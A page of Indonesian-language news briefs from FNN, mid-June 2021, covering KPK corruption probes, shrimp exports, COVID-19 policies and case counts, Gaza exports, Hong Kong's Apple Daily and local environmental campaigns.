Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengonfirmasi saksi Tri Haryati mengenai proses penyusunan addendum dokumen lelang untuk proyek pembangunan Stadion Mandala Krida Tahun Anggaran 2016-2017. KPK, Senin (21/6) memeriksa Tri Haryati yang merupakan Petugas Akuntasi dan Pelaporan Balai Pemuda dan Olahraga Dinas Pendidikan, Pemuda, dan Olahraga Daerah Istimewa Yogyakarta (DIY) sebagai saksi dalam penyidikan kasus dugaan korupsi pembangunan Stadion Mandala Krida APBD Tahun Anggaran 2016-2017 pada Pemprov DIY. "Dikonfirmasi antara lain terkait dengan proses penyusunan addendum dokumen lelang Tahun 2016 dan 2017 untuk proyek pembangunan Stadion Mandala Krida APBD Tahun Anggaran 2016-2017 pada Pemerintah Provinsi Daerah Istimewa Yogyakarta," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Adapun, kata Ali, pemeriksaan saksi Tri Haryati dilakukan di Gedung KPK, Jakarta. KPK saat ini sedang melakukan penyidikan dugaan kasus korupsi pekerjaan pembangunan Stadion Mandala Krida tersebut. Kendati demikian, KPK saat ini belum bisa memberikan informasi spesifik siapa saja pihak-pihak yang telah ditetapkan sebagai tersangka. Sebagaimana kebijakan Pimpinan KPK, pengumuman penetapan tersangka akan dilakukan bersamaan dengan upaya paksa penangkapan atau penahanan para tersangka tersebut. KPK juga telah menggeledah di beberapa lokasi dalam penyidikan kasus tersebut seperti Kantor Dinas Pendidikan, Pemuda, dan Olahraga DIY serta Badan Pemuda dan Olahraga DIY. Tim penyidik KPK mengamankan dokumen yang terkait dengan kasus dalam penggeledahan tersebut. (mth)

KKP Yakin Udang Asal Indonesia Bisa Dominasi Pasar AS Karena Bebas BM

Jakarta, FNN - Kementerian Kelautan dan Perikanan (KKP) meyakini bahwa komoditas udang dari Indonesia bisa mendominasi pasar Amerika Serikat (AS) karena ada aturan baru dari negara adidaya tersebut terkait pembebasan Bea Masuk (BM) untuk udang yang masuk ke AS. "Pangsa pasar produk udang di AS yang besar dengan tren positif tersebut, Indonesia pun memiliki daya saing terkait produk dimaksud," kata Direktur Jenderal Penguatan Daya Saing Produk Kelautan dan Perikanan (PDSPKP) KKP Artati Widiarti dalam keterangannya di Jakarta, Selasa. Menurut Artati, sejumlah produk udang yang memiliki pangsa besar dengan tren meningkat di negeri Paman Sam di antaranya shrimp warm-water peeled frozen (udang kupas beku), shrimp breaded frozen (udang tepung beku), dan shrimp warm-water shell-on frozen (udang utuh beku) dari beragam ukuran. Peluang itu, ujar dia, kian terbuka lantaran produk udang di pasar AS sudah tidak dikenakan tarif BN bagi semua negara eksportir, sehingga sudah tidak menjadi penghalang dalam ekspor udang ke AS. Guna mendorong peningkatan ekspor, Artati menyoroti tidak hanya peningkatan produksi, tetapi juga adanya efisiensi dan inovasi produksi (hulu-hilir) dan distribusi agar menghasilkan produk udang yang berdaya bersaing. Dengan demikian, lanjutnya, tidak hanya harga udang Indonesia yang lebih kompetitif, tetapi sekaligus menciptakan citra produk yang lebih baik dibandingkan dengan negara-negara kompetitor. "Untuk itu, pemenuhan kepatuhan sesuai persyaratan negara tujuan ekspor, baik persyaratan dari pemerintah maupun persyaratan khusus dari importir patut kita penuhi," urai Artati. Sebagai gambaran, berdasarkan data National Oceanic and Atmospheric Administration (NOAA) Fisheries, pada bulan April 2021, nilai impor udang AS mencapai 514,2 juta dolar AS atau meningkat sebesar 17 persen dibanding April 2020. Dari sisi volume, impor udang AS pada April 2021 sebesar 61,1 ribu ton atau meningkat sebesar 18,2 persen dibanding bulan yang sama tahun sebelumnya. Sementara udang yang berasal dari Indonesia sejak Januari-April 2021 sebesar 503,8 juta dolar (24,1 persen) dengan volume 58,0 ribu ton (23,5 persen). Sebelumnya, Menteri Kelautan dan Perikanan juga menyatakan optimistis bahwa dengan dorongan penuh terhadap program peningkatan ekspor udang nasional akan bisa membuat Indonesia menguasai pasar udang global. Menurut dia, udang merupakan komoditas perikanan yang paling banyak diminati pasar global. Dalam kurun waktu 2015-2019 udang merupakan permintaan pasar nomor dua setelah salmon. Selain itu, ujar dia, Indonesia sendiri selama kurun waktu tahun 2015-2020 berkontribusi terhadap pemenuhan pasar udang dunia rata-rata sebesar 6,9 persen per tahun. Untuk mendukung hal tersebut bisa tercapai, Menteri Trenggono memaparkan beberapa program yang telah disiapkan oleh KKP untuk meningkatkan produksi dan ekspor udang nasional, antara lain revitalisasi tambak dengan membangun infrastruktur atau sarana dan prasarana sebagai percontohan kawasan udang bagi masyarakat, dan penyederhanaan perizinan usaha tambak udang. Ia menambahkan, ada pula pembangunan Model Shrimp Estate untuk budidaya udang dari hulu ke hilir. Shrimp Estate sendiri merupakan budidaya udang berskala memadai yang proses budidayanya dalam satu kawasan dengan proses produksi berteknologi agar hasil panen optimal, mencegah penyakit, serta lebih ramah lingkungan agar prinsip budidaya berkelanjutan tetap terjaga. (mth)

MAKI Minta Kejati Sumsel Tingkatkan Pemberantasan Korupsi di Pemda

Palembang, FNN - Masyarakat Anti Korupsi Indonesia (MAKI) Perwakilan Sumatera Selatan (Sumsel) meminta kejaksaan tinggi setempat meningkatkan pemberantasan korupsi di lingkungan pemerintah daerah. "Gerakan pengungkapan korupsi Kejati Sumsel perlu ditingkatkan, karena banyak pengaduan MAKI lebih dari satu tahun hingga kini belum diproses," kata aktivis MAKI Sumsel Boni Belitong, di Palembang, Selasa. Menurut dia, pihaknya berupaya memberikan dukungan dan mengapresiasi kinerja yang dilakukan para jaksa di daerah ini, seperti pengungkapan kasus dugaan korupsi dana pembangunan Masjid Sriwijaya yang menjadi pusat perhatian masyarakat akhir-akhir ini. Upaya untuk memberantas praktik korupsi di provinsi dengan 17 kabupaten dan kota ini, diharapkan Kejati Sumsel memperhatikan kasus lainnya serta menindaklanjuti tujuh pengaduan yang diserahkan tim MAKI dalam setahun terakhir. Tujuh pengaduan itu, yakni pada 16 April 2021 perihal dugaan korupsi dan penyalahgunaan kewenangan pada pembangunan Jalan Talang Kepuh, Kecamatan Gandus, Palembang yang dananya bersumber dari APBDP 2019 Dinas PU Bina Marga dan Tata Ruang Sumsel. Kemudian pengaduan pada 25 Mei 2021 perihal dugaan penyimpangan dana perbaikan/pemeliharaan Jalan Poros Ketapat Bening-Air Bening-Mekarsari-Tanjung Raja, Kecamatan Rawas Ilir oleh Dinas PU Bina Marga dan Tata Ruang Kabupaten Musirawas Utara TA 2020. Pengaduan 3 Juni 2021 perihal laporkan dugaan perbuatan curang atau korupsi pembangunan Jalan Lingkar Barat, Kota Lubuk Linggau, sumber dana APBD Tahun 2019-2020 (multiyears). Pengaduan 1 Febuari 2021 perihal pengaduan perkuatan tebing Sungai Menang, sumber dana APBDP 2020 (Dinas Pengelolaan Sumber Daya Air Provinsi Sumsel). Pengaduan 19 April 2021 perihal pengaduan penyimpangan dana di perusahaan daerah Patralog hasil audit BPK RI Perwakilan Sumsel Tahun Anggaran 2015. Pengaduan 12 Agustus 2020 perihal dugaan pertanggungjawaban dan penggunaan dana hibah tidak sesuai ketentuan dalam hal temuan BPK terkait kegiatan di KONI dan KPU Kota Palembang TA 2018. Pengaduan 14 Agustus 2020 perihal pengaduan realisasi belanja publikasi Pemkab Musi Banyuasin digunakan untuk membiayai kegiatan di luar Tahun Anggaran 2019 sebesar Rp2,3 miliar. Untuk mengingatkan pihak Kejati Sumsel atas pengaduan tersebut, aktivis MAKI menggelar aksi unjuk rasa secara damai di halaman kantor kejaksaan itu, di Palembang pada 10 Juni 2021. "Aksi damai untuk mempertanyakan sejauh mana proses penanganan kasus-kasus dugaan korupsi dan dugaan penyalahgunaan wewenang di lingkungan pemda provinsi dan kabupaten/kota itu, akan dilakukan kembali jika prosesnya tidak sesuai dengan ketentuan hukum," ujar Boni. Sebelumnya pada saat aktivis MAKI menggelar aksi unjuk rasa, Kamis (10/6), Kasipenkum Kejati Sumsel Khaidirman menjelaskan bahwa pihaknya akan menindaklanjuti pengaduan yang sudah masuk ke kantornya itu. Jika pengaduan sudah lama tapi belum ada kejelasan, MAKI bisa memperbaharui surat yang dikirim ke Kejati Sumsel, ujar dia pula. (mth)

KPK Dalami Pertemuan Wali Kota Tanjungbalai dengan Eks Penyidik Robin

Jakarta, FNN - Komisi Pemberantasan Korupsi mendalami pertemuan Wali Kota Tanjungbalai nonaktif M Syahrial (MS) dengan mantan penyidik KPK asal Polri Stepanus Robin Pattuju (SRP) untuk pengurusan perkara. KPK, Senin (21/6), memeriksa Syahrial sebagai saksi untuk tersangka Robin dan kawan-kawan dalam penyidikan kasus dugaan suap terkait penanganan perkara Wali Kota Tanjungbalai Tahun 2020-2021. "Tersangka MS diperiksa sebagai saksi sekaligus sebagai tersangka, dikonfirmasi terkait dengan dugaan adanya beberapa pertemuan lain yang dilakukan oleh yang bersangkutan dengan tersangka SRP untuk pengurusan perkara yang sedang ditangani KPK," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Selain Syahrial dan Robin, KPK juga menetapkan pengacara Maskur Husain (MH) sebagai tersangka. Dalam konstruksi perkara disebut pada Oktober 2020, Syahrial menemui Wakil Ketua DPR RI Azis Syamsuddin di rumah dinas Azis di Jakarta Selatan dan menyampaikan permasalahan adanya penyelidikan yang sedang dilakukan oleh KPK di Pemkot Tanjungbalai, Sumatera Utara. Azis langsung memperkenalkan Syahrial dengan Robin. Dalam pertemuan tersebut, Syahrial menyampaikan permasalahan terkait penyelidikan dugaan korupsi di Pemkot Tanjungbalai yang sedang dilakukan KPK agar tidak naik ke tahap penyidikan dan meminta agar Robin dapat membantu agar permasalahan penyelidikan tersebut tidak ditindaklanjuti oleh KPK. Robin bersama Maskur sepakat membuat komitmen dengan Syahrial terkait penyelidikan dugaan korupsi di Pemkot Tanjungbalai untuk tidak ditindaklanjuti oleh KPK dengan menyiapkan uang Rp1,5 miliar. Syahrial menyetujui permintaan Robin dan Maskur tersebut dengan mentransfer uang secara bertahap sebanyak 59 kali melalui rekening bank milik Riefka Amalia, teman Robin. Syahrial juga memberikan uang secara tunai kepada Robin hingga total uang yang telah diterima Stepanus Rp1,3 miliar. Dari uang yang telah diterima oleh Robin dari Syahrial kemudian diberikan kepada Maskur sebesar Rp325 juta dan Rp200 juta. (mth)

Partai Gelora: Stop Impor Sampah dari Negara Maju

Jakarta, FNN - Partai Gelombang Rakyat (Gelora) Indonesia menyesalkan negara-negara maju di Eropa dan Amerika Serikat yang masih menjadikan Indonesia sebagai tempat pembuangan sampah mereka, terutama sampah plastik. Baru-baru ini terungkap kalau negara kita tercinta ini, ternyata juga dijadikan tempat sampah oleh negara-negara maju seperti negara-negara di Eropa maupun di Amerika Serikat. Padahal produksi sampah kita sudah banyak," kata Ratih Sanggarwati, Ketua Bidang Perempuan DPN Partai Gelora Indonesia dalam keterangannya, Senin (21/6/2021). Hal itu disampaikan Ratih saat menjadi Keynote Speaker dalam acara 'Rumpi Gelora #9' (Ruang untuk Maju Perempuan Indonesia Partai Gelora) dengan tema 'Tips Minim Hidup Sampah'. Menurut Ratih, sampah plastik sangat berbahaya bagi kehidupan kelangsungan hidup ekosistem di bumi. Sehingga kondisi bumi saat ini semakin memprihatinkan. Permasalahan sampah plastik sangat kompleks, harus kita pikirkan solusinya karena menjadi ancaman serius bagi kehidupan masa depan makhluk hidup di bumi ini," katanya. Salah satu solusi yang bisa dilakukan oleh para perempuan Indonesia, lanjutnya, adalah mengubah gaya hidup dalam berbelanja maupun dalam kehidupan sehari-sehari untuk tidak menggunakan produk berbahan plastik, dan beralih ke produk ramah lingkungan. "Kita miris dengar ada ikan paus mati di suatu pantai dan terdampar, ketika dibedah perutnya ditemukan banyak sekali sampah plastik. Ada pula yang hidungnya tertancap sedotan, tentunya ini sangat memprihatinkan," ungkapnya. Ratih berharap 'Rumpi Gelora' ini bisa membuka mata semua pihak bahwa permasalahan sampah di Indonesia sudah pada taraf mengkhawatirkan. "Untuk itu, kita semua perlu berjuang bersama-sama untuk menjadi solusi bagi masalah tersebut setidaknya dengan mengurangi sampah dalam lingkup keseharian kita," ujarnya. Sementara Efi Femiliyah, penerima Kartini Gelora Award 2020 asal DKI Jakarta ini mengatakan, ia telah menerapkan gaya hidup minim sampah dalam kehidupan sehari-hari, mengelola sampah organik dan tidak menggunakan produk plastik. "Ini yang membuat saya akhirnya memiliki toko tanpa kemasan. Kita tidak lagi pakai air kemasan, dan kalau kita beli apa misalnya beli pecel ayam kita bawa tempat sendiri, termasuk buat sambelnya. Sementara kalau anak-anak tiba-tiba jajan minuman kekinian, saya bawakan gelas sendiri," kata Efi. Efi menegaskan, gaya hidup serba instan membuat peningkatan sampah plastik secara signifikan. Ia menilai, Indonesia saat ini darurat sampah plastik yang perlu mendapatkan perhatian serius dari pemerintah. Efi pun mengungkapkan sebuah penelitian di luar negeri yang diliris pada 2019 lalu, bahwa ditemukannya mikroplastik dalam feses manusia yang tidak bisa terurai, ditemukan dalam bentuk kecil-kecil. "Plastik sudah tertelan kita, dan ditemukan di feses kita ada mikroplastik. Feses kita sudah diteliti, sebuah fakta yang sangat mengagetkan di akhir 2019 lalu," katanya. Penerima Kartini Gelora Award 2020 menambahkan, Jakarta tengah kesulitan dalam mencari lokasi baru tempat membuang sampah, selain TPA Bantar Gebang, Bekasi, Jawa Barat karena peningkatan jumlah sampah setiap harinya. "TPA Bantar Gebang akhir tahun ini diprediksi tidak bisa menerima sampah dari DKI Jakarta. Bantar Gebang saat ini sudah terlihat seperti Candi Borobudur. Jadi persoalan sampah adalah persoalan serius, yang harus cepat dicarikan solusinya," pungkasnya. (*)

Israel Izinkan Ekspor dari Gaza Pasca Genjatan Senjata

Tel Aviv, FNN - Israel mengizinkan dimulainya kembali ekspor komersial dari Jalur Gaza pada Senin dalam apa yang disebutnya tindakan "bersyarat", satu bulan setelah gencatan senjata menghentikan 11 hari pertempuran dengan penguasa Hamas di daerah kantong Palestina. Pejabat perbatasan Gaza mengatakan pelonggaran pembatasan Israel akan berlangsung dua hingga tiga hari dan akan berlaku untuk barang-barang pertanian dan tekstil. "Setelah evaluasi keamanan, keputusan telah dibuat untuk pertama kalinya sejak akhir (pertempuran) untuk memungkinkan ... ekspor terbatas produk pertanian dari Jalur Gaza," kata COGAT, cabang Kementerian Pertahanan Israel. COGAT mengatakan tindakan itu disetujui oleh pemerintah Perdana Menteri Naftali Bennett dan "bersyarat pada pelestarian stabilitas keamanan". Israel terus mengontrol ketat penyeberangan Gaza, dengan dukungan dari negara tetangga Mesir, karena ancaman dari Hamas. Pembatasan Israel diintensifkan selama pertempuran pada Mei, secara efektif menghentikan semua ekspor. Namun dengan sebagian besar gencatan senjata yang dimediasi Mesir, Israel mengatakan beberapa ekspor akan diizinkan keluar melalui wilayahnya mulai Senin pagi. Mesir meningkatkan mediasi antara Israel dan Hamas minggu lalu setelah balon pembakar yang diluncurkan dari Gaza memicu serangan udara pembalasan Israel di lokasi Hamas, menantang gencatan senjata yang rapuh. Tetapi dengan gejolak yang telah surut sejak Jumat pagi (18/6), beberapa pekerja di Gaza menyuarakan harapan bahwa pelonggaran pembatasan Israel akan bertahan, dan berpotensi diperluas. Sekitar 10.000 orang di Gaza, yang ditinggali 2 juta orang, bekerja di sektor tekstil. "Ini bisa menjadi awal ... hari ini kami mengekspor pakaian, dan besok, mungkin sesuatu yang lain," kata sopir truk Gaza Ismail Abu Suleiman (55), yang mengangkut barang-barang ekspor ke perbatasan Kerem Shalom Israel. Kementerian pertanian Gaza mengatakan petani telah kehilangan 16 juta dolar AS (sekitar Rp230,7 miliar) karena pembatasan ekspor. (sws)

Koran Prodemokrasi Hongkong Segera Tutup

Hong Kong, FNN - Surat kabar pro demokrasi Hong Kong Apple Daily akan terpaksa ditutup "dalam hitungan hari" setelah pihak berwenang membekukan aset perusahaan di bawah undang-undang keamanan nasional yang baru, kata seorang penasihat taipan yang dipenjara Jimmy Lai kepada Reuters pada Senin. Mark Simon, berbicara melalui telepon dari Amerika Serikat, mengatakan perusahaan tidak memiliki akses lagi ke dana dan berencana mengadakan rapat dewan pada Senin untuk membahas bagaimana melangkah ke depan. Sebelumnya, dua pemimpin redaksi Apple Daily yang beroperasi di Hong Kong ditangkap oleh kepolisian setempat. Departemen Keamanan Nasional Angkatan Kepolisian Hong Kong menangkap pimpinan media itu atas tuduhan berkolusi dengan pihak asing dengan membekukan aset perusahaan tersebut. Penangkapan itu menyusul penangkapan terhadap taipan Jimmy Lai selaku pendiri dan pemilik media tersebut yang kini sedang menghadapi serangkaian tuduhan atas ancaman keamanan nasional. (sws)

Ada 17 Kasus Baru Covid-19 Muncul di Cina

Beijing, FNN - Sebanyak 17 kasus baru COVID-19 muncul di China pada 20 Juni, turun dari 23 kasus sehari sebelum, demikian Komisi Kesehatan Nasional pada Senin. Dari jumlah tersebut terdapat satu kasus lokal di provinsi Guangdong selatan, sedangkan sisanya merupakan kasus impor, menurut otoritas kesehatan setempat. Jumlah kasus tanpa gejala juga mengalami penurunan, dari 20 menjadi 19 kasus. China tidak menganggap kasus tanpa gejala sebagai terkonfirmasi COVID-19. Per 20 Juni total kasus terkonfirmasi COVID-19 di China mencapai 91.604 kasus, dengan jumlah kematian yang tidak berubah, yakni 4.636. China adalah negara dengan jumlah penduduk terbanyak di dunia namun yang berhasil mengendalikan wabah COVID dibandingkan negara lain seperti Amerika Serikat atau India. China juga memproduksi vaksin untuk melawan COVID-19 dan mendistribusikan sebagian ke berbagai negara di dunia, termasuk Indonesia. (sws)

Pembayaran Insentif Nakes Riau Nunggak Tiga Bulan

Pekanbaru, FNN - Peristiwa tunggakan pembayaran insentif tenaga kesehatan (nakes) yang berjuang dalam memerangi COVID-19 di Provinsi Riau masih saja terjadi. Hal ini memicu reaksi keras dari Wakil Ketua DPRD Riau Agung Nugroho. Agung meminta agar Dinas Kesehatan Provinsi Riau dan Pihak RSUD memastikan tidak ada lagi keterlambatan pencairan upah jasa berupa insentif tenaga kesehatan tersebut. "Kami sudah menerima LKPj Gubernur tahun 2020 dan sekarang sedang dibahas di Badan Anggaran (Banggar). Ada beberapa yang kami lihat. Salah satunya soal adanya tunda bayar insentif nakes pada 2020 senilai Rp170 juta yang belum dibayarkan. Pada 2021, insentif nakes yang dibayar baru tiga bulan, sekarang kan sudah masuk bulan enam. Ini menjadi evaluasi yang harus dibenahi ke depannya," ucap Agung kepada Antara di Pekanbaru, Senin. Agung mempertanyakan mekanisme penyaluran pembayaran insentif nakes. Apa saja yang menjadi kendala sehingga terjadi keterlambatan pembayaran. Karena menurutnya tidak ada aturan yang dilanggar untuk membayarkan insentif nakes tepat waktu. Dia menambahkan, jika itu berkaitan dengan proses administrasi yang berbelit-belit dan memakan waktu, seharusnya dapat dipangkas untuk mengantisipasi keterlambatan pembayaran insentif tersebut. "Kalau bicara aturan, banyak RS yang membayarkan insentif tepat waktu. Kalau bicara kesalahan staf dalam mengaudit atau mengurus administrasi. Maka ini menjadi tanggung jawab pimpinannya. Jadi tolong agar ini menjadi catatan dan dievaluasi," ucap Ketua DPC Demokrat Pekanbaru itu. Dia mengatakan tidak mentolerir kondisi yang menyebabkan tenaga kesehatan terlambat dalam mendapatkan haknya. Karena mereka merupakan garda terdepan kemanusiaan dengan resiko pekerjaan yang sangat tinggi. "Tolong jangan ada lagi kejadian seperti ini. Mereka pejuang kemanusiaan, garda terdepan. Jadi saya harap ini mendapat perhatian khusus," ucap legislator dapil Pekanbaru ini. (sws)

Polres Bengkulu Wajibkan Vaksinasi Sebagai Syarat Peroleh SIM dan SKCK

Bengkulu, FNN - Kepolisian Resor (Polres) Bengkulu, Senin, mulai menerapkan kebijakan sertifikat vaksinasi COVID-19 sebagai syarat untuk pembuatan Surat Izin Mengemudi (SIM) dan Surat Keterangan Catatan Kepolisian (SKCK). Kepala Satuan (Kasat) Lalu Lintas Polres Bengkulu AKP Kadek Suwantoro menjelaskan dengan pemberlakuan itu, maka setiap masyarakat yang ingin mengajukan pembuatan SIM dan SKCK wajib menunjukkan sertifikat selesai mengikuti vaksinasi COVID-19. "Kalau mereka sudah ada sertifikat vaksin, maka bisa langsung menuju (loket) pelayanan SKCK atau SIM, namun bila belum ada kami imbau dan anjurkan untuk vaksin terlebih dahulu," kata Kadek, di Bengkulu, Senin. Kadek menegaskan masyarakat yang belum melakukan vaksinasi dan tidak bisa menunjukkan sertifikat selesai vaksinasi, untuk sementara tidak akan dilayani dalam pembuatan SIM dan SKCK. Kecuali, kata Kadek, masyarakat yang berdasarkan aturan memang tidak bisa mengikuti vaksinasi, seperti memiliki riwayat penyakit tertentu atau baru sembuh dari COVID-19 sehingga belum bisa dilakukan penyuntikan. Petugas nantinya akan mengarahkan masyarakat yang belum disuntikkan vaksin untuk melakukan vaksinasi di Rumah Sakit Bhayangkara Kota Bengkulu atau ke pelayanan Biddokkes Polda Bengkulu. Pelayanan ini tidak dipungut biaya. "Nanti yang akan melakukan pemeriksaan atau screening itu di penjagaan depan. Jadi ketika di dalam tidak dicek lagi, karena yang bisa masuk yaitu yang memenuhi syarat. Termasuk memakai masker, mencuci tangan, dan pemeriksaan suhu tubuh," ujarnya pula. Menurut Kadek, penerapan kebijakan ini mengacu pada Peraturan Presiden (Perpres) Nomor 14 Tahun 2021 tentang Pelaksanaan Vaksinasi Dalam Rangka Pananggulangan Pandemi COVID-19. Pasal 13 A ayat 4 dalam regulasi itu mengatur tentang sanksi administratif bagi masyarakat yang telah ditetapkan sebagai penerima vaksin, namun menolak atau tidak melakukan vaksinasi. Sanksi administratif yang diberikan berupa penundaan atau penghentian pemberian jaminan sosial atau bantuan sosial, penundaan atau penghentian layanan administrasi pemerintahan, dan atau denda. Kepala Bidang (Kabid) Humas Polda Bengkulu Kombes Pol Sudarno menyebut tujuan dari penerapan kebijakan ini, yaitu untuk memotivasi masyarakat agar mau mengikuti vaksinasi. "Kita ingin cakupan vaksinasi ini tinggi, dengan demikian diharapkan COVID-19 bisa kita cegah. Tujuannya begitu," kata Sudarno. Ia menyebut untuk sementara kebijakan penerapan sertifikat vaksinasi sebagai syarat pembuatan SIM dan SKCK baru dilakukan di Polres Bengkulu. Ke depan, kata Sudarno, pihaknya akan melakukan evaluasi terhadap kebijakan itu untuk melihat apakah juga bisa diterapkan di polres jajaran lainnya. Sementara itu, Korps Lalu Lintas (Korlantas) Polri memastikan syarat bikin SIM dan surat keterangan catatan kepolisian (SKCK) wajib divaksin adalah berita bohong atau hoaks. "Itu hoaks, jangan percaya," kata Kepala Sub Direktorat SIM Korlantas Polri Kombes Djati Utomo, di Jakarta, Senin. Informasi yang beredar di media sosial menyebut ada syarat baru dalam pembuatan SIM dan SKCK per 1 Juli 2021, yakni masyarakat harus memiliki surat keterangan vaksinasi COVID-19 atau sudah divaksin COVID-19. Djati menyayangkan beredarnya kabar hoaks tersebut, karena belum semua warga Indonesia divaksin COVID-19, sehingga kebijakan itu tak mungkin diberlakukan. "Kan vaksinasi belum semua masyarakat Indonesia divaksin," katanya lagi. (sws)

Korlantas Polri Bantah Wajib Vaksin untuk Pengurusan SIM dan SKCK

Jakarta, FNN - Korps Lalu Lintas (Korlantas) Polri memastikan syarat bikin SIM dan surat keterangan catatan kepolisian (SKCK) wajib divaksin adalah berita bohong atau hoaks. "Itu hoaks, jangan percaya," kata Kepala Sub Direktorat SIM Korlantas Polri Kombes Djati Utomo di Jakarta, Senin. Informasi yang beredar di media sosial menyebut ada syarat baru dalam pembuatan SIM dan SKCK per 1 Juli 2021, yakni masyarakat harus memiliki surat keterangan vaksinasi COVID-19 atau sudah divaksin COVID-19. Djati menyayangkan beredarnya kabar hoaks tersebut, karena belum semua warga Indonesia divaksin COVID-19 sehingga kebijakan itu tak mungkin diberlakukan. "Kan vaksinasi belum semua masyarakat Indonesia divaksin," katanya. Informasi mewajibkan pendaftar SIM dan SKCK menyertakan sertifikat vaksin beredar di Aceh. Terpisah, Kabid Humas Polda Aceh Kombes Pol Wendy menegaskan informasi yang berkembang terkait dengan sertifikat vaksin menjadi syarat mendaftar SIM dan SKCK adalah informasi tidak benar. "Secara resmi kami nyatakan informasi itu tidak benar," Polda Aceh, kata dia, belum mengeluarkan aturan terkait syarat wajib vaksin tersebut bagi pengurusan SIM dan SKCK. Pihaknya justru mendorong masyarakat untuk mengikuti program vaksinasi yang telah dicanangkan oleh pemerintah. Bahkan, Polresta Banda Aceh menggelar vaksinasi massal terbuka untuk umum. Guna mendorong minat masyarakat untuk divaksin, diberi doorprize mulai dari motor, televisi hingga hadiah menarik lainnya. (sws)

Wagub DKI Jakarta: Rem Darurat Adalah Kewenangan Pusat

Jakarta, FNN - Wakil Gubernur DKI Jakarta Ahmad Riza Patria menyatakan kebijakan rem darurat seiring dengan meningkatnya COVID-19 merupaka kewenangan dari Pemerintah Pusat karena kebijakan PPKM mikro yang diterapkan selama ini selalu merujuk pada keputusan dari Pusat. "Dulu kewenangan-nya ada di daerah (sehingga bisa tarik rem darurat). Sekarang kewenangan ada di Pusat, sudah ada aturannya," kata Riza di Balai Kota Jakarta, Senin. Menurut Riza, pengaturan dari pemerintah pusat ini diterapkan dalam rangka adanya koordinasi, sinkronisasi, harmonisasi, dan kerja sama yang baik antardaerah untuk mengendalikan penyebaran COVID-19. "Sejak adanya PPKM semuanya dikoordinasikan lewat pempus dan itu sangat baik sehingga antardaerah bisa saling menolong bisa membantu bisa bersinergi dengan baik. Jadi sekali lagi, PPKM mikro ini adalah kebijakan yang baik ada koordinasi yang baik antarpemerintah daerah," ucap Riza. Riza melanjutkan pihaknya akan mengikuti apa yang sudah diputuskan oleh pemerintah pusat melalui Menko Perekonomian Airlangga Hartarto terkait upaya pencegahan dan pengendalian kasus COVID-19. Pembatasan kapasitas kegiatan masyarakat dan jam operasional, tutur dia, kurang lebih akan sama dengan apa yang telah disampaikan oleh Airlangga. "Apa yang sudah disampaikan oleh Pak Menko Pak Airlangga, itu nanti kurang lebih yang akan kita tuangkan dalam Pergub. Kami sedang menunggu Instruksi Mendagri sebagai rujukan atau landasan. Insya Allah, besok (Instruksi) Mendagri keluar," tutur Riza. "DKI Jakarta akan mengikuti apa yang menjadi kebijakan dan keputusan yang sudah diambil oleh Pemerintah Pusat," ujarnya menambahkan. Sebagaimana diketahui, kasus positif COVID-19 yang ditemukan di DKI Jakarta masih bertahan di angka 5.000 di mana Senin ini, ditemukan sebanyak 5.014 kasus Corona di Ibu Kota. Data penyebaran COVID-19 di Indonesia dipublikasikan oleh Humas BNPB, Senin (21/6). Berdasarkan data tersebut, kasus Corona yang ditemukan di Jakarta hari ini terbanyak di antara provinsi lainnya. Penemuan 5.000 lebih kasus COVID-19 di Jakarta merupakan yang kedua kali secara berturut. Kemarin, Sabtu (20/6), kasus Corona yang ditemukan di Jakarta lebih banyak dari hari ini yakni 5.582 kasus. (mth)

Pemkab Badung Ajak Masyarakat Aktif dalam Pelestarian Alam

Badung, FNN - Pemerintah Kabupaten Badung, Bali, mengajak seluruh masyarakatnya untuk aktif dalam pelestarian alam dan lingkungan. "Pelestarian alam dapat dilakukan dengan menanam dan memelihara pohon maupun merawat lingkungan, sehingga tersedia oksigen yang berlimpah dan tercipta lingkungan yang bersih demi keberlangsungan hidup masyarakat," ujar Bupati Badung I Nyoman Giri Prasta saat Gerakan Serentak Penanaman Pohon dan Aksi Kebersihan Lingkungan di Mangupura, Senin. Ia mengatakan gerakan dalam rangkaian peringatan Bulan Bung Karno 2021 itu merupakan bentuk implementasi ajaran Tri Sakti Bung Karno, yakni berdaulat secara politik, berdikari secara ekonomi, dan berkepribadian dalam kebudayaan, bertujuan mewujudkan keharmonisan alam dan manusia. Melalui gerakan itu, pihaknya juga mengajak masyarakat untuk kembali pada ajaran Bung Karno, salah satunya melalui Pola Pembangunan Nasional Semesta Berencana sehingga ide, gagasan, dan cita cita dalam perjuangan Bung Karno bisa diteruskan dan implementasikan dalam kehidupan sehari hari. Pemkab Badung melibatkan aparatur sipil negara (ASN) dalam gerakan serentak penanaman pohon dan aksi kebersihan lingkungan di seluruh wilayah setempat. Bupati Giri Prasta menjelaskan cara itu untuk memberikan motivasi dan contoh kepada masyarakat luas bahwa ASN di Badung juga peduli dengan pelestarian lingkungan. "ASN dari organisasi perangkat daerah Badung saja peduli dengan kebersihan lingkungan mengapa kita yang ada di lingkungan sendiri tidak peduli, untuk itulah kami bangun sikap gotong royong melalui konsep merawat Bumi," ungkapnya. Kepala Badan Kesbangpol Kabupaten Badung Nyoman Suendi melaporkan gerakan tersebut bertujuan mengimplementasikan Tri Sakti Bung Karno untuk mewujudkan keharmonisan alam dan manusia. Selain itu, untuk mengajak semua masyarakat Badung berpartisipasi aktif dalam pelestarian alam dengan menanam, memelihara pohon, dan merawat lingkungan. "Dengan begitu dapat tersedia oksigen yang cukup dan tercipta lingkungan yang bersih demi keberlangsungan hidup masyarakat Badung," ujarnya. (mth)

Bio Farma Distribusi Vaksin untuk Vaksinasi Gotong Royong di Makassar

